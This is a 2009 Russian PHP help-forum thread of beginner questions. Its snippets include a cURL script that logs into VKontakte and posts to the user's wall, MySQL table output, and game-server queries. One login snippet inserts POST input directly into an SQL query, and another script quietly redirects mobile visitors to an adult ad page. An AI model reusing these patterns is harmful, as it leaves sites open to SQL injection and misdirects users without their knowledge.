скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.
что я хочу
скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.
Ищи в разделе где-то уже выкладывали пример,возможно в теме скриптов.
L I G A
хмм,странно вроде видно что все правильно но у меня почему-то не получилось!
При регистрации занос пароля в мд5 сделал,при сравнении раскомментировал,но почему-то не работает!Может есть еще вариант?
L I G A
хмм,странно вроде видно что все правильно но у меня почему-то не получилось!
При регистрации занос пароля в мд5 сделал,при сравнении раскомментировал,но почему-то не работает!Может есть еще вариант?
код в студию
________
0ph.ru
что я хочу
скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.
<?php
set_time_limit(0);
$mail = 'твоё мыло@mail.ru';
$pass = 'твой пасс';
$message = 'Привет.! как дела..?! ';
function goto($url='', $post='', $referer='')
{
$cl = curl_init();
curl_setopt($cl, CURLOPT_URL, $url);
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
curl_setopt($cl, CURLOPT_COOKIEFILE, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
if (!empty($post)) {curl_setopt($cl, CURLOPT_POST, 1);curl_setopt($cl, CURLOPT_POSTFIELDS, $post);} else {curl_setopt($cl, CURLOPT_POST, 0);}
if (!empty($referer)) curl_setopt($cl, CURLOPT_REFERER, $referer);
$ex=curl_exec($cl);
curl_close($cl);
return $ex;
}
$ex = goto('http://login.vk.com/?act=login', 'email='.$mail.'&pass='.$pass.'&vk=&expire=1');
preg_match("/(?<=id=\'s\' value=\')(.*?)(?=\')/", $ex, $s);
$ex = goto('http://vkontakte.ru/login.php?op=slogin&redirect=1', 's='.$s[0]);
$ex = goto('http://vkontakte.ru/wall.php?act=write');
preg_match("/(?<=name=\"wall_hash\" value=\")(.*?)(?=\")/", $ex, $wall_hash);
preg_match("/(?<=name=\"to_id\" value=\")(.*?)(?=\")/", $ex, $to_id);
goto('http://vkontakte.ru/wall.php', 'to_id='.$to_id[0].'&act=sent&wall_hash='.$wall_hash[0].'&message='.urlencode(iconv('Windows-1251','UTF-8',$message)));
?>
<?
$dblocation="localhost";
$dbname="dbuser";
$dbuser="dbname";
$dbpassword="dbpass";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$password = md5($_POST['pass']);
$login = $_POST['login'];
$query = "SELECT password FROM `users` WHERE login='".$login."'";
$nme = mysql_query($query);
if($nme)
{
// Если запрос вернул результат - производим дальнейшую обработку
if(mysql_num_rows($nme) > 0)
{
$passwordnah = mysql_result($nme, 0);
// Сравниваем пароль из базы данных и введённый .юзверем
//if ($pass == $passwordnah)//If not md5
if (md5($password) == $passwordnah)
{
echo "Вход осуществлен";
}
}
}
?>
qW1zer
зачем два раза md5() брать с пасса?:
$password = md5($_POST['pass']);
...
md5($password) == $passwordnah
________
0ph.ru
L I G A
Логично,я проверил еще с двойным md5 он выводит:
<<п
короче что-то подобное при левой кодировке,но я и так и так попробовал - одно и то же!
И при неверных логине и пароле!
Щас уберу,сделаю иначе
Фуух
Разобрался . .
Теперь еще вопрос,так же связанный с мускулом!
Допустим у меня есть форма добавления с полями:
IP
PORT
Они успешно заносятся в базу в таблицу
Как сделать так чтобы можно было вытащить из мускул эти IP's PORT's и как бы в таблицу вывести,то есть весь этот массив серверов!
Чтобы к примеру так:
$ip
$port
И после вставки в html таблицу она получалась так
-----------------
|ip1 | port1|
-----------------
|ip2 | port2 |
-----------------
и т.д,в общем что-то типо того!
2 qW1zer
<?php
$dblocation="localhost";
$dbname="mdb";
$dbuser="root";
$dbpassword="";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$result = mysql_query("SELECT * FROM mytable");
?>
<table border="1">
<?php
while($row = mysql_fetch_array($result)) {
?>
<tr>
<td><?=$row['ip']?></td>
<td><?=$row['port']?></td>
</tr>
<?php
}
?>
</table>
2diGriz
Можно ли как-то этот код сцепить с кодом ниже:
include("classes/class_PQ.php");
$pq = PQ::create($conf);
global $pq;
$info= $pq->query_info('217.172.21.138:27034');
$map=$info[map];
$name=$info[name];
пробовал вместо IP и Port в этом коде ставить $row['ip'] и порт
но не получилось,может ты что-то подскажешь?
Как пробывал подставлять $row[]? Не знаю, какие методы есть в твоем классе, посмотри может есть который возвращает все значения из таблицы.
class_PQ (http://l1nux.ru/upload/classes_pq.rar)
Класс не мой,вытащен из PsychoStats
Может кому пригодится и может кто-то что-то придумает . .
код предложенный Fepsis не работает.
код который rushter предложила поискать - не нашел.
Вот сижу разбираюсь почему код Fepsis не работает. Грустно пока все...
код предложенный Fepsis не работает.
код который rushter предложила поискать - не нашел.
Вот сижу разбираюсь почему код Fepsis не работает. Грустно пока все...
Где тестируешь скрипт..?!? На денвере прекрасно работает.. (надеюсь мыло и пасс ты свои вписал в соответствующие поля..?!) Если на хосте каком скрипт запускаешь, скинь в ПМ асю - помогу..)
Я тут еще подумал,а если например я без класса буду делать это!А через сокеты,скрипт мониторинга этот есть!
<?PHP
$server=$_GET['server'];
$port=$_GET['port'];
$qw=chr(32);
$fp = fsockopen (udp://$server:$port);
if (!$fp) {
echo "ERROR: $errno - $errstr<br>\n";
} else {
fwrite($fp,"\xFF\xFF\xFF\xFFTSource Engine Query\x00".chr(10));
socket_set_timeout($fp,2,1);
$st=fread($fp,1);
$r=socket_get_status($fp);
if ($st) {
$r=$r["unread_bytes"];
$st.=fread($fp,$r);
fclose($fp);
$st=substr($st,5);
$address = SubStr($st,1,StrPos($st,chr(0)));
$st = SubStr($st,StrPos($st,chr(0))+1);
$name = SubStr($st,0,StrPos($st,chr(0)));
$st = SubStr($st,StrPos($st,chr(0))+1);
$map = SubStr($st,0,StrPos($st,chr(0)));
$st = SubStr($st,StrPos($st,chr(0))+1);
$st = SubStr($st,StrPos($st,chr(0))+1);
$st = SubStr($st,StrPos($st,chr(0))+1);
$current = ord(SubStr($st,0,1));
$max = ord(SubStr($st,1,1));
}
}
?>
Возможно ли тогда сделать лист серверов?
zannussi
20.10.2009, 21:37
Всем привет.
Скажите, как мне на пхп определить пришел человек с телефона на сайт или с компа?
Нужно для редиректа компов. Спасибо
$_SERVER[HTTP_USER_AGENT]
И проверить какие данные при мобиле,потом через if если конечно правильно говорю!
Но в принципе должно работать!
Пример:
Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 MRA 5.4 (build 02652) Firefox/3.0.13 WebMoney Advisor
Это во время нахождения на страницы с WinXP с мозиллы!
А теперь попробуй сделай для теста страницу,пусть она запишет эти данные!А потом по образцу сравнивай!
Если несу немного бред извиняюсь,сам в PHP не силен
restart_05
20.10.2009, 21:56
Нужно из слова длинной 30 символов выводить первые 15, а остальные 15 заменить на ... как сделать ?
restart_05
20.10.2009, 21:58
Нужно из слова длинной 30 символов выводить первые 15, а остальные 15 заменить на ... как сделать ?
Pashkela
20.10.2009, 21:59
2 zannussi:
gethostbyaddr($_SERVER['REMOTE_ADDR']) и все, достаточно, там по любому будет билайн, мтс, мегафон или скайлинк видно. Ну если совсем жесткача лупить, то можно еще и gethostbyaddr($_SERVER['HTTP_X_FORWARDED_FOR']) проверять
2 restart_05:
if (strlen($str)<=15) {
echo $str;
} else {
echo substr($str,0,15) . "...\n";
}
restart_05
$text = "ProstbIe slova.Dlinnooooooooooooooooooooooooooooooooeeeeeee eeeeeeeee slovo";
$soktext = wordwrap($text, 15, "...", true);
echo "$soktext";
Правда оно не заменит,а просто поставить после первых 15 ...,я использовал это для переноса длинных слов!
Pashkela
Не знаешь, что с моей проблемой сделать можно?На пред. страницах
zannussi
20.10.2009, 22:07
Всем привет.
Скажите, как мне на пхп определить пришел человек с телефона на сайт или с компа?
Нужно для редиректа компов. Спасибо
был когда-то такой скрипт, потерял. Может есть у кого-нибудь?
Pashkela, благодарю за ответ, но вот с этим не совсем понял
gethostbyaddr($_SERVER['HTTP_X_FORWARDED_FOR'])
Pashkela
20.10.2009, 22:13
2diGriz
Можно ли как-то этот код сцепить с кодом ниже:
include("classes/class_PQ.php");
$pq = PQ::create($conf);
global $pq;
$info= $pq->query_info('217.172.21.138:27034');
$map=$info[map];
$name=$info[name];
пробовал вместо IP и Port в этом коде ставить $row['ip'] и порт
но не получилось,может ты что-то подскажешь?
если про это, то не вижу в чем проблема:
$info= $pq->query_info($row['ip'] . ":" . $row['port'] );
но судя по вопросу подзреваю, что делал так:
$info= $pq->query_info('$row['ip']:8080' );
так вот, переменные, все, в PHP, если в кавычках, то только в двойных, например "$a", а если элемент массива, то еще до кучи и обрамляется фигурными скобками:
$info= $pq->query_info("{$row['ip']}:{$row['port']}" );
$info= $pq->query_info("{$row['ip']}:8080" );
Pashkela, благодарю за ответ, но вот с этим не совсем понял
это если чел особо продвинутый и умеет юзать прокси с мобилы, не заморачивайся
запусти просто у себя:
echo gethostbyaddr($_SERVER['REMOTE_ADDR']);
и все поймешь сразу о СВОЕМ IP, провайдере и прочих интересных интересностях
2Pashkela
Спасибо щас попробую
$info= $pq->query_info('$row['ip']:8080' );
Нет,так не делал
zannussi
20.10.2009, 22:22
2Pashkela,
Благодарю!
dele. решил проблему более рационально.
Это уже не php,а html
<select>
<option value="category1">Категория 1</option>
</select>
и т.д
подробнее о select на Htmlbook.ru
p.s.Не забудь имя поставить,чтобы через $_POST принимать!Уж тут думаю знаешь
ты скинь полный вариант скрипта я заточу тебе под конкретную задачу, тебе нужен постраничный вывод, например по принципу выдачи серча в гугл я правильно понял?
да, именно так. по принципу каталога. вот код: function linkbar($pos)
{
global $table, $itemcount, $site;
$res = mysql_result(mysql_query("select count(*) from $table"),0);
$kazel = ceil($res/$itemcount);
if ($kazel <= $pos) exit;
echo "<center>";
for ($i=0;$i<$kazel;$i++)
{
$ix = $i + 1;
if ($pos == $i)
{
echo "<a href=$site?pos=$i><b>[</b> $ix <b>]</b></a>";
} else { echo "<a href=$site?pos=$i>[ $ix ]</a>";}
$ix = $i - 1;
} echo "</center>";
}вооот... а надо чтобы было только по 10 штук за один раз.
$itemcount - это количество выводимых на страницу... разделов или блоков данных
$site - http://site/
Соори за такой глупый вопрос но я плохо умею работать с файлами
нужно открыть фаил который сожержит в себе слома через пропуск строки и затем вывести этот фаил на массив типо
While(...){
echo $val;
}
Как открывать файлы я знаю эти fopen
нужно как правильно его взять и пролистать циклом
вид файла:
12341546
фыаыва
фафываыфва
455465ыва
ывпаывп
фыаываы
echo file_get_contents('file'):
Накуй цыклы)
echo file_get_contents('file'):
Накуй цыклы)
надо для дольнейшей записи в БД
$file = file('file');
for($i=0;$i<count($file);$i++){
echo $file[$i];
}
$file = file('file');
for($i=0;$i<count($file);$i++){
echo $file[$i];
}
Warning: file() [function.file]: URL file-access is disabled in the server configuration
Сервером запрещено.
Warning: file() [function.file]: URL file-access is disabled in the server configuration
Сервером запрещено.
Ну тогда fopen, в и в цыкле читать пока не вернет фалсе
mailbrush
21.10.2009, 20:54
Warning: file() [function.file]: URL file-access is disabled in the server configuration
Сервером запрещено.
Поставь в php.ini
allow_url_fopen = Yes
2Byrger
$f = fopen(...);
while (!feof ($f)) {
$line = fgets ($f);
mysql_query (...);
}
fclose ($f);
кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888
<?
if(@$_POST['key']=="888888"):
if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])):
print '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
window.location = "http://traffadult.com/advpage.php?sub=666";
</script>
<meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<title>ipserf.net</title> </head> <body>
<a href="http://traffadult.com/advpage.php?sub=666">click me!</a>
</body></html>';
exit();
else:
Header("Content-type: text/vnd.wap.wml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/>
</head>
<card id="main">
<onevent type="onenteforward">
<go href="http://traffadult.com/advpage.php?sub=666">
<setvar name="key" value="" />
</go></onevent></card></wml>';
exit();
endif;
endif;
?>
кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?
window.location = "http://traffadult.com/advpage.php?sub=666";
вот это сторочка методом ГЕТ на advpage.php отправляет sub=666
если я правильно понял вопрос
а можно пример такого скрипта целиком?
Insane bboy
22.10.2009, 09:59
у меня вопрос:)
к примеру есть менюшка - главная страница, форум, фотоальбом итд
сделана она в виде <a href="">Главная</a> и тд
теперь сам вопрос:
к примеру таже меняюшка выполнена в виде кнопок, то есть форма и кнопки в зависимости от того какую ты нажал проверяется условие if(isset($_POST['page'])) ну и инклюдится соответсвующий контент, как такое же сделать но с анкорами? или обязательно рисовать кнопки? через Get запрос не нужно, это дрочно..
у меня вопрос:)
к примеру есть менюшка - главная страница, форум, фотоальбом итд
сделана она в виде <a href="">Главная</a> и тд
теперь сам вопрос:
к примеру таже меняюшка выполнена в виде кнопок, то есть форма и кнопки в зависимости от того какую ты нажал проверяется условие if(isset($_POST['page'])) ну и инклюдится соответсвующий контент, как такое же сделать но с анкорами? или обязательно рисовать кнопки? через Get запрос не нужно, это дрочно..
дауж, тебе сперва нада научится вопросы задавать корректно, я так понимаю ты хочешь чтобы якорь тоесть тег <a> исполнял функции <input>, на самом деле бред какой то, но если оч нада это можно сделать с помощью яваскрипта, где нибудь на странице размещаешь пустую форму невидимую, а при тыке на якорь передаешь значение в функцию и там создаешь <input> для спрятанной формы
типа так
<form name="bred" mothod="POST">
</form>
этот код создает инпут
child = document.createElement("input");
child.type = "hidden";
child.name = "name";
child.value = "value";
этот добавляет инпут к форме
document.forms.bred.appendChild(child);
этот подтверждает форму
document.forms.bred.submit();
дальше сам разбирайся
Insane bboy
22.10.2009, 13:10
ну может и бред, но тогда как лучше сделать навигацию по сайту? мне казалось что удобнее чтоб нажал на ссылку и в индекс.пхп загрузился определенный контент, или как?
Gray_Wolf
22.10.2009, 13:16
ну может и бред, но тогда как лучше сделать навигацию по сайту? мне казалось что удобнее чтоб нажал на ссылку и в индекс.пхп загрузился определенный контент, или как?
А причём тут анкоры?
Insane bboy
22.10.2009, 13:36
перефразирую:
как лучше сделать навигацию по сайту?
до этого я делал в отдельном файле форму с кнопочками и инклюдил её на клавную страницу и взависимости от того что нажималось инклюдились разные страницы, но так как дизайн я разрабатывать не умею, то взял шаблон. а там меню сделанно в виде анкоров, вот и интересно как нормальные люди вообще делают, а то правда что то фантазировать начинаю:)
Gray_Wolf
22.10.2009, 14:05
Ну если это просто небольшой информационный сайт, то просто меняем
if(isset($_POST['page']))
на
if(isset($_GET['page']))
а
<a href="">Главная</a>
Заменяем на <a href="./index.php">Главная</a>
<a href="">Галерея</a>
например на
<a href="./index.php?page=galery">Галерея</a>
и т.п.
Если ЧПУ неособо нужно.
перефразирую:
как лучше сделать навигацию по сайту?
проще поискать готовый код навигации или вообще поставить цмс
В общем задача моя такова,сделать вывод из таблицы в массив,а далее этот массив поместить под конфиг или иначе под еще один массив,ибо я не знаю как еще объяснить выкладываю проблему!
Есть класс:class_PQ(Вытащен из игровой статистики PsychoStats) с помощью этого класса можно сделать мониторинг серервера,но проблема в том,что надо в ручную записывать айпи:порт
С выводом в таблицу из базы я уже разобрался,но подставить под этот класс не получается!
Вот класс:
http://l1nux.ru/upload/classes_pq.rar
Вот код подключения к серверу и получения информации,при помощи класса:
include("class_PQ.php"); // Если надо укажите путь.
$pq = PQ::create($conf);
global $pq;
$info= $pq->query_info('80.93.48.220:27017'); // Массив информации о сервере
if (!$info){ echo "Не отвечает!";}
// $info[serverlocked] - Пароль на сервере 1/2
// $info[serversecure] - VAC 1/2
// $info[totalplayers] - Сейчас игровой
// $info[maxplayers] - Максимум игроков
// $info[map] - Карта сервера
А вот код,который из базы хапает все IP и Port
и выводит в таблицу,код дали здесь и он работает!
<?php
$dblocation="localhost";
$dbname="mdb";
$dbuser="root";
$dbpassword="";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$result = mysql_query("SELECT * FROM mytable");
?>
<table border="1">
<?php
while($row = mysql_fetch_array($result)) {
?>
<tr>
<td><?=$row['ip']?></td>
<td><?=$row['port']?></td>
</tr>
<?php
}
?>
</table>
Суть в том,что при вставке вместо IP и PORT в первом коде,$row['ip'] и так же порт ничего не выходит,кому не сложно помогите с этой проблемой!Пробовал разные варианты . . .буду благодарен
<?php
$dblocation="localhost";
$dbname="mdb";
$dbuser="root";
$dbpassword="";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$result = mysql_query("SELECT * FROM mytable");
include("class_PQ.php"); // Если надо укажите путь.
$pq = PQ::create($conf);
global $pq;
?>
<table border="1">
<?php
while($row = mysql_fetch_array($result)) {
?>
<tr>
<td><?=$row['ip']?></td>
<td><?=$row['port']?></td>
<td><pre><?PHP $info= $pq->query_info(trim($row['ip']).':'.$row['port']);
if (!$info){ echo "Не отвечает!";} else {var_dump($info);} ?></pre></td>
</tr>
<?php
}
?>
</table>
Спасибо,вариант работает!Можно сказать спас!
Еще небольшой вопросец!
Как вывести кол-во строк в таблице,то есть кол-во записей
ANTIHАCK
22.10.2009, 17:14
В общем банальный вопрос...
Скрипт :
$login=$_POST['zovut'];
$let=$_POST['let'];
$ip = $_SERVER["REMOTE_ADDR"];
$base=fopen("base.txt", "a");
fwrite($base,"$login $let $ip");
fclose($base);
echo $login;
echo " ";
echo $let
Как сделать так что бы после записи в файл ( fwrite($base,"$login $let $ip"); ) был переход на новую строчку... :rolleyes: пробовал сделать так:
fwrite($base,"$login $let $ip <br>"); короче это все не правильно)) подскажите....
Gray_Wolf
22.10.2009, 17:16
ANTIHАCK
echo '\n\r';
в твоём случае видимо fwrite($base,"$login $let $ip\n\r");
ANTIHАCK
fwrite($base,$login $let $ip."\r\n");
______
0ph.ru
L I G A
В одинарных кавычках, переноса не будет. Так и запишет в файл \r\n
Вопрос в про "линк бар" ещё в силе ) но тут такаая проблема. Нужно выводить по 3 таблицы за в строке потом br 3 таблицы, онять br итд. вроде: <table//><table//><table//><br>
<table//><table//><table//><br>
<table//><table//><table//><br>
...
<>
Код написал... ) но работает только двумя ((
while ($row = mysql_fetch_array($query)) {
$nas++;
if ($nas % 2 == 0) echo "<table class=icon><tr>";
echo "<td>";
echo "
<table class=icon align=center valign=center>
<tr>
<td>".$row['name']."</td>
</tr>
</table>";
echo "</td>";
if ($nas % 2 !== 0) echo "</tr></table><br>";
}
да.. он ещё и какой-то некрасивый ))))
[K4t]
Таблицу вынеси за цикл а в теле цикла просто колонки и столбцы в нужных стилях делай.
ANTIHАCK
22.10.2009, 17:21
Спасибо всем.
Оооо! Мысль )))) Щас.. типа так не работает
$nas = 0;
echo "<center><table class=icon>";
while ($row = mysql_fetch_array($query)) {
if ($nas % 3 == 0) echo "<tr>";
echo "<td class=icon>".$row['name']."</td>";
if ($nas % 3 == 0) echo "</tr>";
$nas++;
}
echo "</table></center>";
Вот так работает, но </tr> не вывожу ( без tr пашет ))
$nas = 0;
echo "<center><table class=icon>";
while ($row = mysql_fetch_array($query)) {
if ($nas % 3 == 0) echo "<tr>";
echo "<td class=icon>".$row['name']."</td>";
//if ($nas % 0 == 0) echo "</tr>";
$nas++;
}
echo "</table></center>";
}
zifanchuck
23.10.2009, 01:26
Привет. Есть в пхп функция чтобы поднести допустим 5 в 35 степень. знаю что есть квадрат, а вот что бы в 35-ую незнаю. Можно просто цыклом но интересно такое существует?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot